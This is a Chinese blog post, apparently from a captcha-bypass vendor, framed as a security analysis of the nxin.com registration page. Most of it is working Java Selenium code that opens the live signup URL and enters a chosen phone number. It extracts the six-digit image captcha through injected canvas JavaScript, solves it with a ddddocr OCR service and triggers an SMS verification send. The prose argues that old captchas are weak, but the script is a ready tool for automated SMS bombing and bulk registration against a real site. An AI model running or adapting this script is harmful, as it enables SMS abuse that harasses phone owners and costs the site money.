首页 > 其他分享 >【农信网-注册/登录安全分析报告】

【农信网-注册/登录安全分析报告】

时间:2024-09-18 23:51:14浏览次数:3  
标签:String 登录 driver 验证码 农信网 注册 null imgCode out

前言

由于网站注册入口容易被黑客攻击,存在如下安全问题:

  1. 暴力破解密码,造成用户信息泄露
  2. 短信盗刷的安全问题,影响业务及导致用户投诉
  3. 带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞
    在这里插入图片描述
    所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案, 但在机器学习能力提高的当下,连百度这样的大厂都遭受攻击导致点名批评, 图形验证及交互验证方式的安全性到底如何? 请看具体分析

一、 农信网PC 注册入口

简介:北京农信互联科技集团有限公司是一家农业互联网高科技企业,以“用互联网改变农业”为使命,致力于构建最有影响力的农业数智生态平台,推动中国农业数字化转型升级。2018年9月,农信互联以增资前70亿元的整体估值完成B轮融资,成为农业互联网领域的“独角兽”企业。

在这里插入图片描述
在这里插入图片描述

二丶 安全分析:

采用传统的图形验证码方式,具体为6个数字,ocr 识别率在 95% 以上。

测试方法:
采用模拟器+OCR识别

1. 模拟器交互



	private static String INDEX_URL = "https://passport.nxin.com/register/user";

	@Override
	public RetEntity send(WebDriver driver, String areaCode, String phone) {
		RetEntity retEntity = new RetEntity();
		try {
			driver.get(INDEX_URL);

			// 1 输入手机号
			WebElement phoneElemet = ChromeDriverManager.waitElement(driver, By.xpath("//input[@placeholder='输入手机号']"), 1);
			phoneElemet.sendKeys(phone);

			WebElement codeInputElement = driver.findElement(By.id("ember258"));
			codeInputElement.click();

			// 2 获取图形验证码
			Thread.sleep(1 * 1000);
			String imgCode = null, imgUrl;
			byte[] imgByte = null;
			WebElement imgElement = driver.findElement(By.xpath("//img[contains(@src,'/register/verifyCode')]"));
			for (int i = 0; i < 3; i++) {
				imgUrl = imgElement.getAttribute("src");
				imgByte = (imgUrl != null) ? GetImage.callJsByUrl(driver, imgUrl) : null;
				int len = (imgByte != null) ? imgByte.length : 0;
				imgCode = (len > 0) ? ddddOcr.getImgCode(imgByte) : null;
				imgCode = DigitFormat.getDigit(imgCode);
				if (imgCode != null && imgCode.length() >= 6) {
					break;
				}
				imgElement.click();
				Thread.sleep(1 * 1000);
			}

			if (imgCode == null || imgCode.length() < 6) {
				System.out.println("imgCode=" + imgCode);
				return retEntity;
			}

			// 3 输入识别出来的图形验证码
			codeInputElement.sendKeys(imgCode);

			// 4 点击获取验证码
			Thread.sleep(1 * 1000);
			WebElement getCodeElement = ChromeDriverManager.waitElement(driver, By.xpath("//button[@class='validatebtn']"), 20);
			if (getCodeElement != null) {
				getCodeElement.click();
				Thread.sleep(1 * 1000);
				StringBuffer alertSb = new StringBuffer();
				boolean isAlert = ChromeDriverManager.isAlertPresent(driver, alertSb);
				if (isAlert) {
					System.out.println("alertSb=" + alertSb);
					driver.switchTo().defaultContent();
					return null;
				}
			}

			Thread.sleep(1500);
			String gtInfo = (getCodeElement != null) ? getCodeElement.getText() : null;
			retEntity.setMsg("[imgCode:" + imgCode + "]->" + gtInfo);

			if (gtInfo != null && gtInfo.contains("重新获取")) {
				retEntity.setRet(0);
				ddddOcr.saveFile("Nxin", imgCode, imgByte);
				return retEntity;
			} else {
				System.out.println("gtInfo=" + gtInfo);
				ddddOcr.saveFile("Nxin/err/", imgCode, imgByte);
			}
			return retEntity;
		} catch (Exception e) {
			System.out.println("phone=" + phone + ",e=" + e.toString());
			for (StackTraceElement ele : e.getStackTrace()) {
				System.out.println(ele.toString());
			}
			return null;
		} finally {
			if (driver != null)
				driver.manage().deleteAllCookies();
		}
	}

	

2. 获取图形验证码


public static byte[] callJsById(WebDriver driver, String id) {
		return callJsById(driver, id, null);
	}

	public static byte[] callJsById(WebDriver driver, String id, StringBuffer base64) {
		String js = "let c = document.createElement('canvas');let ctx = c.getContext('2d');";
		js += "let img = document.getElementById('" + id + "'); /*找到图片*/ ";
		js += "c.height=img.naturalHeight;c.width=img.naturalWidth;";
		js += "ctx.drawImage(img, 0, 0,img.naturalWidth, img.naturalHeight);";
		js += "let base64String = c.toDataURL();return base64String;";
		String src = ((JavascriptExecutor) driver).executeScript(js).toString();
		String base64Str = src.substring(src.indexOf(",") + 1);
		if (base64 != null) {
			base64.append(base64Str);
		}
		byte[] vBytes = (base64Str != null) ? imgStrToByte(base64Str) : null;
		return vBytes;
	}


3.图形验证码识别(Ddddocr)


public String getImgCode(byte[] bigImage) {
		try {
			if (ddddUrl == null) {
				System.out.println("ddddUrl=" + ddddUrl);
				return null;
			}

			long time = (new Date()).getTime();
			HttpURLConnection con = null;
			String boundary = "----------" + String.valueOf(time);
			String boundarybytesString = "\r\n--" + boundary + "\r\n";
			OutputStream out = null;

			URL u = new URL(ddddUrl);

			con = (HttpURLConnection) u.openConnection();
			con.setRequestMethod("POST");
			con.setConnectTimeout(10000);
			con.setReadTimeout(10000);
			con.setDoOutput(true);
			con.setDoInput(true);
			con.setUseCaches(true);
			con.setRequestProperty("Content-Type", "multipart/form-data; boundary=" + boundary);

			out = con.getOutputStream();

			if (bigImage != null && bigImage.length > 0) {
				out.write(boundarybytesString.getBytes("UTF-8"));
				String paramString = "Content-Disposition: form-data; name=\"image\"; filename=\"" + "bigNxt.gif" + "\"\r\n";
				paramString += "Content-Type: application/octet-stream\r\n\r\n";
				out.write(paramString.getBytes("UTF-8"));
				out.write(bigImage);
			}

			String tailer = "\r\n--" + boundary + "--\r\n";
			out.write(tailer.getBytes("UTF-8"));

			out.flush();
			out.close();

			StringBuffer buffer = new StringBuffer();
			BufferedReader br = new BufferedReader(new InputStreamReader(con.getInputStream(), "UTF-8"));
			String temp;
			while ((temp = br.readLine()) != null) {
				buffer.append(temp);
			}
			String ret = buffer.toString();
			if (ret.length() < 1) {
				System.out.println("ddddUrl=" + ddddUrl + " ret=" + buffer.toString());
			}
			return buffer.toString();
		} catch (Throwable e) {
			logger.error("ddddUrl=" + ddddUrl + ",e=" + e.toString());
			return null;
		}
	}
	

	public void saveFile(String factory, String imgCode, byte[] imgByte) {
		try {
			String basePath = ConstTable.codePath + factory + "/";
			File ocrFile = new File(basePath + imgCode + ".png");
			FileUtils.writeByteArrayToFile(ocrFile, imgByte);
		} catch (Exception e) {
			logger.error("saveFile() " + e.toString());
		}
	}


4. 图形OCR识别结果:

在这里插入图片描述

5. 测试返回结果:

在这里插入图片描述

三 丶测试报告 :

在这里插入图片描述

四丶结语

北京农信互联科技集团有限公司是一家农业互联网高科技企业,以“用互联网改变农业”为使命,致力于构建最有影响力的农业数智生态平台,推动中国农业数字化转型升级。作为农业互联网领域的“独角兽”企业, 技术实力也应该不错,但采用的还是老一代的图形验证码已经落伍了, 用户体验一般,容易被破解, 一旦被国际黑客发起攻击,将会对老百姓形成骚扰,影响声誉。

很多人在短信服务刚开始建设的阶段,可能不会在安全方面考虑太多,理由有很多。
比如:“ 需求这么赶,当然是先实现功能啊 ”,“ 业务量很小啦,系统就这么点人用,不怕的 ” , “ 我们怎么会被盯上呢,不可能的 ”等等。

有一些理由虽然有道理,但是该来的总是会来的。前期欠下来的债,总是要还的。越早还,问题就越小,损失就越低。

所以大家在安全方面还是要重视。(血淋淋的栗子!)#安全短信#

戳这里→康康你手机号在过多少网站注册过!!!

谷歌图形验证码在AI 面前已经形同虚设,所以谷歌宣布退出验证码服务, 那么当所有的图形验证码都被破解时,大家又该如何做好防御呢?

>>相关阅读
《腾讯防水墙滑动拼图验证码》
《百度旋转图片验证码》
《网易易盾滑动拼图验证码》
《顶象区域面积点选验证码》
《顶象滑动拼图验证码》
《极验滑动拼图验证码》
《使用深度学习来破解 captcha 验证码》
《验证码终结者-基于CNN+BLSTM+CTC的训练部署套件》

标签:String,登录,driver,验证码,农信网,注册,null,imgCode,out
From: https://blog.csdn.net/weixin_44549063/article/details/142308727

相关文章

  • 2024Mysql And Redis基础与进阶操作系列(2)作者——LJS[含MySQL登录;DDL;DML;举例说明;编码
    目录1.MySQL的登录1.1服务的启动和停止方式1:使用图形界面工具步骤1:打开windows服务 步骤2:找到MySQL80(点击鼠标右键)→启动或停止(点击)编辑补充说明2点:1.2自带客户端的登录与退出登录方式1:MySQL自带客户端注意:退出登录2MySQL数据库基本操作-DDL和DML2.1.DDL解释2.......
  • 主机安装zblog 无法登陆:错误原因:登录失败
    当你遇到在主机上安装ZBlog后无法登录后台,并且收到“错误原因:登录失败”的提示时,可以尝试以下几种方法来解决问题:检查用户名和密码:确认你输入的用户名和密码是否正确,注意区分大小写。清除浏览器缓存和Cookies:清除浏览器中的缓存数据和Cookies,有时候这些数据可能会导......
  • Zblog的后台登录问题,提示没有权限
    当遇到Z-Blog后台登录时提示“没有权限”的问题时,这可能是由多种原因造成的。以下是一些可能的原因及解决方法:1.检查用户名和密码问题描述:输入的用户名或密码可能不正确。解决方法:确认用户名和密码正确无误。尝试重置密码并通过电子邮件接收新的密码。2.清除浏览器......
  • zblogPHP后台时一切正常,但登出后再次登录提示“错误原因:登录失败;帐户和密码都是对的
    当使用Z-BlogPHP后台时,如果登出后再次登录提示“错误原因:登录失败”,即使确认账户和密码输入正确,可能的原因包括cookie问题、缓存问题、数据库问题或配置问题等。以下是一些排查和解决此类问题的方法:1.清除浏览器缓存和cookie问题描述:浏览器缓存或cookie可能导致登录......
  • 通过 NSSM 把 FastAPI+Celery+Flower 注册成 3个Windos 服务
    通过NSSM把FastAPI+Celery+Flower注册成3个Windos服务什么是nssm?是一个服务封装程序,它可以将普通exe程序封装成服务,实现开机自启动,同类型的工具还有微软自己的srvany,不过nssm更加简单易用,并且功能强大。nssm官网nssm常用命令nssminstallservername//创建servername......
  • 解决ZBLOG PHP 程序无法登录后台账户问题
    如果您的Z-BlogPHP程序无法登录后台账户,那么您可以按照以下步骤来排查和解决问题:1.检查用户名和密码问题描述:输入的用户名或密码不正确。解决方法:确认输入的用户名和密码是否正确。尝试重置密码,如果忘记了密码。2.检查数据库问题描述:数据库中的用户信息可能被篡......
  • 安装z-blog后现在突然不能登录了后台
    当您遇到安装Z-Blog后突然不能登录后台的情况时,可以按照以下步骤来排查和解决问题:1.检查用户名和密码问题描述:输入的用户名或密码错误。解决方法:确认输入的用户名和密码是否正确。尝试重置密码或使用找回密码功能。2.检查网络连接问题描述:网络连接不稳定或中断。......
  • zblog php版修改默认后台错误页后登录后台跳转错误
    如果您在修改了Z-BlogPHP版本的默认后台错误页之后遇到了登录后台时跳转错误的问题,这可能是因为修改操作影响了登录流程或者错误处理机制。以下是一些可能的原因及解决方法:1.检查错误页修改问题描述:修改错误页后导致跳转逻辑出错。解决方法:回滚错误页的修改,使用备份的原......
  • 登录自己的Zblog网站后台提示403,怎么解决?
    当您登录Z-Blog网站后台时遇到403错误,意味着服务器拒绝了您的请求。这通常是因为权限问题或其他配置问题。以下是解决此类问题的一些步骤:1.检查文件权限问题描述:文件或目录具有错误的权限。解决方法:使用FTP客户端连接到服务器,检查文件和目录的权限。确保文件权限为......
  • zblog后台的应用中心登录提示错误解决方法
    Z-Blog后台应用中心登录提示错误的情况时,可以尝试以下几种解决方法:检查应用中心插件版本:登录Z-Blog后台,进入“应用中心”页面,检查是否有应用中心插件的更新可用。如果有更新,尝试升级应用中心插件到最新版本。检查网络连接:确保服务器能够访问互联网,并且没有防火墙或......